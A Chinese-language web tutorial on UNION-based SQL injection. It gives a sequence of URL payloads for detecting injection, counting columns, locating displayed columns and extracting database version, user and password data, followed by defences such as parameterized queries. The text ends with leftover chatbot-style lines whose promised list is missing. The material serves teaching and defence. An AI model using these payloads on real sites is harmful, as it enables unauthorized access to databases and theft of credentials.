联合查询注入(UNION-based SQL Injection) 是 SQL 注入攻击中最常见、最直观的一种类型,利用的是 SQL 中的 UNION 查询 把“攻击者想要的数据”拼接到正常查询结果中,从而非法获取数据库信息。
在 SQL 中,UNION 用于把两条 SELECT 语句的结果合并:
SELECT a, b FROM table1
UNION
SELECT c, d FROM table2;
⚠️ 前提条件:
很多网站会这样写 SQL:
SELECT id, username FROM users WHERE id = $id;
如果 $id 没有过滤,攻击者可构造:
?id=1 UNION SELECT username, password FROM admin
最终 SQL 变成:
SELECT id, username FROM users WHERE id = 1
UNION
SELECT username, password FROM admin;
于是:
判断是否存在注入
?id=1'
?id=1 AND 1=1
?id=1 AND 1=2
判断字段数
?id=1 ORDER BY 3
?id=1 ORDER BY 4
找显位(哪些列会显示到页面)
?id=-1 UNION SELECT 1,2,3
获取数据库信息
?id=-1 UNION SELECT database(), version(), user()
读取敏感表
?id=-1 UNION SELECT username, password FROM users
✅ 使用 预编译语句(参数化查询)
$stmt = $pdo->prepare("SELECT id, username FROM users WHERE id = ?");
$stmt->execute([$id]);
✅ 输入校验(白名单、类型限制)
✅ 最小权限数据库账号
✅ 关闭错误回显(不把 SQL 错误暴露给用户)
如果你愿意,我也可以:
你想从哪一块继续?
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。